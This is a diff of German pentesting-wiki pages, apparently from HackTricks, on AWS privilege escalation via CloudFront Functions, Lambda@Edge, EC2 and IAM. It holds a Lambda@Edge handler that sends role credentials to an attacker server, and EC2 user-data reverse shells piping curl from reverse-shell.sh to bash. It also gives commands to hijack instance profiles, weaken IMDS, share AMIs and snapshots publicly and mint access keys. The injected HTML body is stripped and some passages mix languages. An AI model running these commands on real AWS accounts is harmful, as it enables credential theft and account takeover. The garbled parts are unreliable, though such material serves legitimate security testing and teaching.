\
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+```
+
+### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
+An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
+
+The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
+
+```bash
+function handler(event) {
+var request = event.request;
+var response = event.response;
+// Create a new body with malicious JavaScript
+var maliciousBody = `
+
+
+
+Compromised Page
+
+
+Original Content
+This page has been modified by CloudFront Functions
+
+
+
+`;
+// Replace the body entirely
+response.body = { encoding: "text", data: maliciousBody };
+// Update headers
+response.headers["content-type"] = { value: "text/html; charset=utf-8" };
+response.headers["content-length"] = {
+value: maliciousBody.length.toString(),
+};
+response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
+return response;
+}
+```
+
+Commands to create, publish and attach the function:
+
+```bash
+# Erstelle die bösartige Funktion in CloudFront
+aws cloudfront create-function --name malicious-function --function-config '{
+"Comment": "Malicious CloudFront Function for Code Injection",
+"Runtime": "cloudfront-js-1.0"
+}' --function-code fileb://malicious-function.js
+
+# Hole das ETag der Funktion in der DEVELOPMENT-Stage
+aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
+
+# Veröffentliche die Funktion in der LIVE-Stage
+aws cloudfront publish-function --name malicious-function --if-match
+```
+
+Add the function to the distribution configuration (FunctionAssociations):
+
+```bash
+"FunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"FunctionARN": "arn:aws:cloudfront:::function/malicious-function",
+"EventType": "viewer-response"
+}
+]
+}
+```
+
+Finally update the distribution configuration (remember to supply the current ETag):
+
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG
+```
+
+### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
+
+An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
+
+The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
+
+```bash
+// malicious-lambda-edge.js
+exports.handler = async (event) => {
+// Obtain role credentials
+const credentials = {
+accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+sessionToken: process.env.AWS_SESSION_TOKEN,
+};
+// Send credentials to attacker's server
+try {
+await fetch("https:///steal-credentials", {
+method: "POST",
+headers: { "Content-Type": "application/json" },
+body: JSON.stringify(credentials)
+});
+} catch (error) {
+console.error("Error sending credentials:", error);
+}
+if (event.Records && event.Records[0] && event.Records[0].cf) {
+// Modify response headers
+const response = event.Records[0].cf.response;
+response.headers["x-credential-theft"] = [
+{
+key: "X-Credential-Theft",
+value: "Successful",
+},
+];
+return response;
+}
+return {
+statusCode: 200,
+body: JSON.stringify({ message: "Credentials stolen" })
+};
+};
+```
+
+```bash
+# Paketieren der Lambda@Edge-Funktion
+zip malicious-lambda-edge.zip malicious-lambda-edge.js
+
+# Erstelle die Lambda@Edge-Funktion mit einer privilegierten Rolle
+aws lambda create-function \
+--function-name malicious-lambda-edge \
+--runtime nodejs18.x \
+--role \
+--handler malicious-lambda-edge.handler \
+--zip-file fileb://malicious-lambda-edge.zip \
+--region
+
+# Veröffentliche eine Version der Funktion
+aws lambda publish-version --function-name malicious-lambda-edge --region
+```
+
+Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
+
+```bash
+"LambdaFunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1",
+"EventType": "viewer-response",
+"IncludeBody": false
+}
+]
+}
+```
+
+```bash
+# Aktualisierte Distribution-Konfiguration anwenden (aktuellen ETag verwenden)
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+
+# Funktion auslösen, indem du die Distribution anfragst
+curl -v https://.cloudfront.net/
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
index c45dc50b9..bfb57e21a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -4,7 +4,7 @@
## EC2
-Für mehr **Informationen über EC2** siehe:
+Für mehr **Informationen zu EC2** siehe:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,11 +12,11 @@ Für mehr **Informationen über EC2** siehe:
### `iam:PassRole`, `ec2:RunInstances`
-Ein attacker könnte eine instance erstellen, dieser eine IAM role anhängen und dann auf die instance zugreifen, um die IAM role credentials vom metadata endpoint zu stehlen.
+Ein Angreifer könnte **eine Instanz erstellen, eine IAM-Rolle anhängen und dann auf die Instanz zugreifen**, um die IAM-Rollen-Anmeldeinformationen vom Metadata-Endpunkt zu stehlen.
-- **Zugriff via SSH**
+- **Zugriff über SSH**
-Starte eine neue instance unter Verwendung eines **created** **ssh key** (`--key-name`) und verbinde dich dann per ssh damit (wenn du einen neuen erstellen willst, benötigst du möglicherweise die Berechtigung `ec2:CreateKeyPair`).
+Starte eine neue Instanz mit einem **erstellten** **ssh key** (`--key-name`) und verbinde dich dann per ssh damit (wenn du einen neuen erstellen möchtest, benötigst du möglicherweise die Berechtigung `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
```
- **Zugriff über rev shell in user data**
-Du kannst eine neue Instance mittels **user data** (`--user-data`) starten, die dir eine **rev shell** sendet. Auf diese Weise musst du keine security group angeben.
+Du kannst eine neue Instanz mit **user data** (`--user-data`) starten, die dir eine **rev shell** sendet. Auf diese Weise musst du keine security group angeben.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
-Sei vorsichtig mit GuardDuty, wenn du die credentials der IAM role außerhalb der instance verwendest:
+Sei vorsichtig mit GuradDuty, wenn du die Anmeldeinformationen der IAM role außerhalb der instance verwendest:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
-**Potenzielle Auswirkung:** Direct privesc to any EC2 role attached to existing instance profiles.
+**Mögliche Auswirkungen:** Direkter privesc zu jeder EC2 role, die an bestehende instance profiles angehängt ist.
#### Privesc to ECS
-Mit diesem Berechtigungssatz könntest du außerdem **create an EC2 instance and register it inside an ECS cluster**. Auf diese Weise werden ECS **services** in der **EC2 instance**, auf die du Zugriff hast, **run**, und du kannst diese services (docker containers) kompromittieren und **steal their ECS roles attached**.
+Mit diesen Berechtigungen könntest du außerdem **eine EC2 instance erstellen und sie in einem ECS cluster registrieren**. Auf diese Weise werden ECS **services** innerhalb der **EC2 instance**, auf die du Zugriff hast, **ausgeführt**, und du kannst diese Services (docker containers) kompromittieren und **ihre angehängten ECS roles stehlen**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-Um zu lernen, wie man **erzwingen kann, dass ECS-Dienste in dieser neuen EC2-Instanz ausgeführt werden**, siehe:
+Um zu erfahren, wie man **ECS services dazu zwingt, auf dieser neuen EC2 instance ausgeführt zu werden**, siehe:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
-Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:RegisterContainerInstance` haben, könnten Sie die Instanz im Cluster registrieren und den beschriebenen Angriff durchführen.
+Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:RegisterContainerInstance` haben, könnten Sie die Instanz im Cluster registrieren und den kommentierten Angriff ausführen.
-**Potentielle Auswirkungen:** Direkter privesc auf ECS-Rollen, die an Tasks angehängt sind.
+**Potentieller Impact:** Direkte privesc auf an Tasks angehängte ECS-Rollen.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-Ähnlich wie im vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen **die IAM-Rolle einer kompromittierten Instanz ändern**, um neue Anmeldeinformationen stehlen zu können.\
-Da ein Instance Profile nur eine Rolle haben kann, wenn das Instance Profile **bereits eine Rolle** hat (häufiger Fall), benötigen Sie außerdem **`iam:RemoveRoleFromInstanceProfile`**.
+Ähnlich wie im vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen die **IAM-Rolle einer kompromittierten instance ändern**, um neue Anmeldeinformationen zu stehlen.\
+Da ein instance profile nur 1 Rolle haben kann, benötigen Sie, falls das instance profile **bereits eine Rolle hat** (häufiger Fall), außerdem **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name --role-name
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-Wenn das **instance profile eine role hat** und der Angreifer es **nicht entfernen kann**, gibt es eine andere Umgehung. Er könnte **ein instance profile ohne role finden** oder **einen neuen erstellen** (`iam:CreateInstanceProfile`), die **role** zu diesem **instance profile hinzufügen** (wie zuvor besprochen), und **das instance profile zuordnen** kompromittiert zu einer kompromittierten i**nstance:**
+Wenn das **instance profile hat eine role** und der Angreifer **es nicht entfernen kann**, gibt es einen anderen Workaround. Er könnte **finden** ein **instance profile ohne role** oder **ein neues erstellen** (`iam:CreateInstanceProfile`), **hinzufügen** die **role** zu jenem **instance profile** (wie zuvor besprochen), und **das instance profile zuordnen** kompromittiert zu einer kompromittierten i**nstance:**
-- Wenn die i**nstance** **kein instance** profile hat (`ec2:AssociateIamInstanceProfile`)
+- Wenn die instance **kein instance** profile hat (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Mögliche Auswirkung:** Direktes privesc zu einer anderen EC2-Rolle (du musst eine AWS EC2 instance kompromittiert haben und zusätzliche Berechtigungen oder einen bestimmten instance profile-Status besitzen).
+**Potential Impact:** Direkter privesc zu einer anderen EC2-Rolle (du musst eine AWS EC2-Instanz kompromittiert haben und über zusätzliche Berechtigungen oder einen bestimmten Instanzprofil-Status verfügen).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-Mit diesen Berechtigungen ist es möglich, das mit einer Instance verknüpfte instance profile zu ändern. Wenn ein Angreifer bereits Zugriff auf eine Instance hat, kann er dadurch Anmeldeinformationen für weitere instance profile-Rollen stehlen, indem er das damit verknüpfte instance profile austauscht.
+Mit diesen Berechtigungen ist es möglich, das mit einer Instanz verknüpfte Instanzprofil zu ändern, sodass ein Angreifer, der bereits Zugriff auf eine Instanz hat, Anmeldeinformationen für weitere Rollen des Instanzprofils stehlen kann, indem er das damit verknüpfte Profil ändert.
-- Wenn es **ein instance profile hat**, kannst du das instance profile **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **assoziieren**
+- Wenn die Instanz **ein Instanzprofil hat**, kannst du das Instanzprofil **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **zuordnen**
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-- oder **ersetzen** das **instance profile** der kompromittierten Instance (`ec2:ReplaceIamInstanceProfileAssociation`).
+- oder das **instance profile** der kompromittierten Instanz **ersetzen** (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
```
-**Mögliche Auswirkungen:** Direktes privesc zu einer anderen EC2 role (du musst eine AWS EC2 instance kompromittiert haben und zusätzliche Berechtigungen oder einen bestimmten instance profile status besitzen).
+**Potentielle Auswirkung:** Direkter privesc zu einer anderen EC2-Rolle (du musst eine AWS EC2-Instanz kompromittiert haben und zusätzliche Berechtigungen oder einen spezifischen instance profile status besitzen).
### `ec2:RequestSpotInstances`,`iam:PassRole`
-Ein Angreifer mit den Berechtigungen **`ec2:RequestSpotInstances`and`iam:PassRole`** kann **request** eine **Spot Instance** mit einer **EC2 Role attached** und einer **rev shell** in den **user data** anfordern.\
-Sobald die Instance ausgeführt wird, kann er die **IAM role stehlen**.
+Ein Angreifer mit den Berechtigungen **`ec2:RequestSpotInstances`and`iam:PassRole`** kann eine **Spot Instance** mit einer **EC2 Role attached** und einer **rev shell** in den **user data** anfordern.\
+Sobald die Instanz ausgeführt wird, kann er die **IAM role** stehlen.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
-Ein Angreifer mit der **`ec2:ModifyInstanceAttribute`** kann die Attribute der Instanz ändern. Unter anderem kann er **change the user data**, wodurch er die Instanz dazu bringen kann, **run arbitrary data.** Das kann genutzt werden, um eine **rev shell to the EC2 instance** zu erhalten.
+Ein Angreifer mit dem **`ec2:ModifyInstanceAttribute`** kann die Attribute der Instanz ändern. Unter anderem kann er die **user data** ändern, was bedeutet, dass er die Instanz dazu bringen kann, **beliebige Daten auszuführen.** Das kann genutzt werden, um eine **rev shell auf die EC2-Instanz** zu erhalten.
-Beachte, dass die Attribute nur geändert werden können, während die Instanz gestoppt ist; dafür werden die **permissions** **`ec2:StopInstances`** und **`ec2:StartInstances`** benötigt.
+Beachte, dass die Attribute nur **geändert werden können, während die Instanz gestoppt ist**, daher werden die **Berechtigungen** **`ec2:StopInstances`** und **`ec2:StartInstances`** benötigt.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
-**Potentielle Auswirkung:** Direkter privesc auf jede EC2 IAM Role, die an eine erstellte Instanz angehängt ist.
+**Mögliche Auswirkungen:** Direkter privesc auf jede an eine erstellte Instanz angehängte EC2 IAM Role.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kann eine **new Launch Template version** erstellen, die eine **rev shell in** den **user data** und **any EC2 IAM Role on it** enthält, die Standardversion ändern, woraufhin jede **Autoscaler group**, die dieses **Launch Template** verwendet und so konfiguriert ist, die **latest** oder die **default version** zu verwenden, die Instanzen mit diesem Template neu startet und die rev shell ausführt.
+Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kann eine **new Launch Template version** erstellen, die eine **rev shell in** den **user data** und **any EC2 IAM Role on it** enthält, die Standardversion ändern, und **any Autoscaler group** **using** that **Launch Templat**e, die **configured** ist, die **latest** oder die **default version** zu verwenden, wird die Instanzen mit dieser Vorlage **re-run the instances** und dabei die rev shell ausführen.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
-**Potentielle Auswirkung:** Direkter privesc auf eine andere EC2-Rolle.
+**Potential Impact:** Direkter privesc zu einer anderen EC2 role.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
-Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch Configuration erstellen** mit einer **IAM Role** und einer **rev shell** im **user data**, dann **eine autoscaling group aus dieser Konfiguration erstellen** und warten, bis die **rev shell** die **IAM Role** **stiehlt**.
+Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch Configuration** mit einer **IAM Role** und einer **rev shell** in den **user data** erstellen, anschließend **eine autoscaling group** aus dieser Konfiguration anlegen und darauf warten, dass die rev shell die **IAM Role** stiehlt.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
-**Potentielle Auswirkung:** Direkte privesc zu einer anderen EC2-Rolle.
+**Potentielle Auswirkung:** Direkter privesc zu einer anderen EC2-Rolle.
### `!autoscaling`
-Das Berechtigungs-Set **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **ist nicht ausreichend, um** Privilegien auf eine IAM-Rolle zu eskalieren, weil man, um die in der Launch Configuration oder im Launch Template angegebene Rolle anzuhängen, **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigt** (was eine bekannte privesc ist).
+Die Kombination der Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reicht nicht aus, um** Rechte auf eine IAM-Rolle zu eskalieren, da man, um die in der Launch Configuration oder im Launch Template angegebene Rolle anzuhängen, die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigt (was ein bekannter privesc ist).
### `ec2-instance-connect:SendSSHPublicKey`
-Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSSHPublicKey`** kann einem Benutzer einen ssh key hinzufügen und diesen verwenden, um darauf zuzugreifen (wenn er ssh access zur Instanz hat) oder um Privilegien zu eskalieren.
+Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSSHPublicKey`** kann einem Benutzer einen ssh-Schlüssel hinzufügen und diesen verwenden, um sich damit anzumelden (wenn er ssh-Zugriff auf die Instanz hat) oder um Rechte zu eskalieren.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
-**Potentielle Auswirkungen:** Direkter privesc auf die EC2 IAM roles, die an laufende Instanzen angehängt sind.
+**Mögliche Auswirkungen:** Direkter privesc auf die EC2 IAM roles, die an laufende Instanzen angehängt sind.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kann **einen ssh key zu einer seriellen Verbindung hinzufügen**. Wenn die serielle Konsole nicht aktiviert ist, benötigt der Angreifer die Berechtigung **`ec2:EnableSerialConsoleAccess`**, um sie zu aktivieren.
+Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kann **einen ssh-Schlüssel zu einer seriellen Verbindung hinzufügen**. Ist die serielle Konsole nicht aktiviert, benötigt der Angreifer die Berechtigung **`ec2:EnableSerialConsoleAccess`**, um sie zu aktivieren.
-Um eine Verbindung zum seriellen Port herzustellen, muss der Angreifer außerdem **den Benutzernamen und das Passwort eines Benutzers** innerhalb der Maschine kennen.
+Um sich mit dem seriellen Port zu verbinden, muss der Angreifer außerdem **den Benutzernamen und das Passwort eines Benutzers** innerhalb der Maschine kennen.
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
-Diese Methode ist für privesc nicht sehr nützlich, da man einen username und password kennen muss, um sie auszunutzen.
+Diese Methode ist für privesc nicht sehr nützlich, da man einen Benutzernamen und ein Passwort kennen muss, um sie auszunutzen.
-**Potential Impact:** (Schwer nachweisbar) Direkter privesc zu den an laufenden EC2-Instanzen angehängten IAM-Rollen.
+**Mögliche Auswirkung:** (Schwer nachweisbar) Direkter privesc zu den EC2 IAM roles, die an laufende Instanzen angehängt sind.
### `describe-launch-templates`,`describe-launch-template-versions`
-Da launch templates eine Versionierung haben, könnte ein Angreifer mit den Berechtigungen **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** diese ausnutzen, um sensible Informationen zu finden, wie z. B. credentials, die in den user data hinterlegt sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren launch templates:
+Da launch templates versioniert sind, könnte ein Angreifer mit den Berechtigungen **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** diese ausnutzen, um sensible Informationen zu entdecken, wie z. B. in user data vorhandene Anmeldedaten. Um dies zu erreichen, durchläuft das folgende script alle Versionen der verfügbaren launch templates:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -248,11 +248,11 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
-In den obigen Befehlen geben wir zwar bestimmte Muster an (`aws_|password|token|api`), du kannst jedoch einen anderen regex verwenden, um nach anderen Arten sensibler Informationen zu suchen.
+In den obenstehenden Befehlen, obwohl wir bestimmte Muster angeben (`aws_|password|token|api`), kannst du einen anderen Regex verwenden, um nach anderen Arten sensibler Informationen zu suchen.
-Wenn wir `aws_access_key_id` und `aws_secret_access_key` finden, können wir diese Anmeldeinformationen verwenden, um uns bei AWS zu authentifizieren.
+Angenommen, wir finden `aws_access_key_id` und `aws_secret_access_key`, können wir diese Zugangsdaten verwenden, um uns bei AWS zu authentifizieren.
-**Potential Impact:** Direkte Eskalation von Rechten auf IAM-Benutzer.
+**Mögliche Auswirkungen:** Direkte Privilegieneskalation auf IAM-Benutzer.
## Referenzen
@@ -262,12 +262,13 @@ Wenn wir `aws_access_key_id` und `aws_secret_access_key` finden, können wir die
+
### `ec2:ModifyInstanceMetadataOptions` (IMDS-Downgrade, um SSRF-basierten Diebstahl von Zugangsdaten zu ermöglichen)
-Ein Angreifer, der die Möglichkeit hat, `ec2:ModifyInstanceMetadataOptions` auf einer betroffenen EC2-Instance aufzurufen, kann die IMDS-Schutzmechanismen abschwächen, indem er IMDSv1 (`HttpTokens=optional`) aktiviert und den `HttpPutResponseHopLimit` erhöht. Dadurch wird der Instance-Metadata-Endpunkt über übliche SSRF-/Proxy-Pfade von Anwendungen, die auf der Instance laufen, erreichbar. Kann der Angreifer in einer solchen Anwendung einen SSRF auslösen, kann er die instance profile credentials abrufen und damit pivotieren.
+Ein Angreifer, der in der Lage ist, `ec2:ModifyInstanceMetadataOptions` auf einer Ziel-EC2-Instanz aufzurufen, kann IMDS-Schutzmaßnahmen abschwächen, indem er IMDSv1 (`HttpTokens=optional`) aktiviert und das `HttpPutResponseHopLimit` erhöht. Dadurch wird der Instance-Metadata-Endpunkt über gängige SSRF-/Proxy-Pfade aus Anwendungen erreichbar, die auf der Instanz laufen. Wenn der Angreifer in einer solchen Anwendung eine SSRF auslösen kann, kann er die Instance-Profile-Anmeldeinformationen abrufen und damit pivotieren.
-- Erforderliche Berechtigungen: `ec2:ModifyInstanceMetadataOptions` auf der Ziel-Instance (plus die Fähigkeit, einen SSRF auf dem Host zu erreichen/auszulösen).
-- Zielressource: Die laufende EC2-Instance mit angehängtem instance profile (IAM role).
+- Erforderliche Berechtigungen: `ec2:ModifyInstanceMetadataOptions` auf der Zielinstanz (sowie die Möglichkeit, eine SSRF auf dem Host zu erreichen/auszulösen).
+- Zielressource: Die laufende EC2-Instanz mit angehängtem instance profile (IAM role).
Commands example:
```bash
@@ -296,5 +297,28 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id \
--http-tokens required --http-put-response-hop-limit 1
```
-Mögliche Auswirkungen: Diebstahl von instance profile credentials über SSRF, was zu privilege escalation und lateral movement mit den EC2 role permissions führen kann.
+Mögliche Auswirkungen: Diebstahl von Instance-Profile-Anmeldeinformationen via SSRF, was zu privilege escalation und lateral movement mit den EC2-Rollenberechtigungen führen kann.
+
+### `ec2:ModifyInstanceMetadataOptions`
+
+Ein Angreifer mit der Berechtigung ec2:ModifyInstanceMetadataOptions kann die Schutzmechanismen des Instance Metadata Service (IMDS) abschwächen — zum Beispiel indem er IMDSv1 erzwingt (HttpTokens nicht erforderlich macht) oder HttpPutResponseHopLimit erhöht — und so die Exfiltration temporärer Anmeldeinformationen erleichtern. Der relevanteste Risikopfad besteht darin, HttpPutResponseHopLimit zu erhöhen: Durch Erhöhung dieses Hop-Limits (TTL) ist der Endpunkt 169.254.169.254 nicht mehr strikt auf den Netzwerk-Namespace der VM beschränkt und kann von anderen Prozessen/Containern erreichbar werden, wodurch das Abgreifen von Anmeldeinformationen ermöglicht wird.
+```bash
+aws ec2 modify-instance-metadata-options \
+--instance-id \
+--http-tokens optional \
+--http-endpoint enabled \
+--http-put-response-hop-limit 2
+```
+### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
+
+Ein Angreifer, dem die Berechtigungen `ec2:ModifyImageAttribute` und `ec2:ModifySnapshotAttribute` zugewiesen sind, kann AMIs oder Snapshots mit anderen AWS-Konten teilen (oder sogar öffentlich machen). Dadurch werden Images oder Volumes offengelegt, die sensible Daten wie Konfigurationen, Zugangsdaten, Zertifikate oder Backups enthalten können. Durch das Ändern der launch permissions eines AMI bzw. der create-volume permissions eines Snapshots ermöglicht der Angreifer Dritten, Instanzen zu starten oder Datenträger von diesen Ressourcen einzuhängen und auf deren Inhalte zuzugreifen.
+
+Um ein AMI mit einem anderen Konto zu teilen:
+```bash
+aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
+```
+Um einen EBS snapshot mit einem anderen Account zu teilen:
+```bash
+aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
+```
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index 2f074d2cd..caf87be89 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -4,7 +4,7 @@
## IAM
-Für mehr Informationen zu IAM siehe:
+Für weitere Informationen zu IAM siehe:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,38 +12,38 @@ Für mehr Informationen zu IAM siehe:
### **`iam:CreatePolicyVersion`**
-Ermöglicht das Erstellen einer neuen IAM-Policy-Version und umgeht die Notwendigkeit der Berechtigung `iam:SetDefaultPolicyVersion`, indem das `--set-as-default` Flag verwendet wird. Dadurch können benutzerdefinierte Berechtigungen definiert werden.
+Ermöglicht das Erstellen einer neuen IAM-Policy-Version und umgeht die Notwendigkeit der Berechtigung `iam:SetDefaultPolicyVersion`, indem das Flag `--set-as-default` verwendet wird. Dadurch können benutzerdefinierte Berechtigungen definiert werden.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
-**Auswirkung:** Ermöglicht direkt eine Eskalation der Privilegien, da dadurch beliebige Aktionen auf beliebigen Ressourcen erlaubt werden.
+**Auswirkung:** Erhöht direkt die Privilegien, indem es jede Aktion auf jeder Ressource erlaubt.
### **`iam:SetDefaultPolicyVersion`**
-Ermöglicht das Ändern der Standardversion einer IAM-Richtlinie auf eine andere vorhandene Version, was unter Umständen zu einer Eskalation der Privilegien führen kann, wenn die neue Version mehr Berechtigungen enthält.
+Ermöglicht das Ändern der Standardversion einer IAM policy zu einer anderen vorhandenen Version, was die Privilegien eskalieren kann, wenn die neue Version mehr Berechtigungen hat.
-**Bash-Befehl:**
+**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
-**Auswirkung:** Indirekte Privilegieneskalation durch das Ermöglichen zusätzlicher Berechtigungen.
+**Impact:** Indirekte privilege escalation durch Ermöglichen zusätzlicher Berechtigungen.
### **`iam:CreateAccessKey`**
-Ermöglicht das Erstellen einer Access Key ID und eines Secret Access Key für einen anderen Benutzer, was zu potenzieller Privilegieneskalation führen kann.
+Ermöglicht das Erstellen von access key ID und secret access key für einen anderen Benutzer, was zu potenzieller privilege escalation führen kann.
**Exploit:**
```bash
aws iam create-access-key --user-name
```
-**Auswirkung:** Direkte privilege escalation durch Übernahme der erweiterten Berechtigungen eines anderen Benutzers.
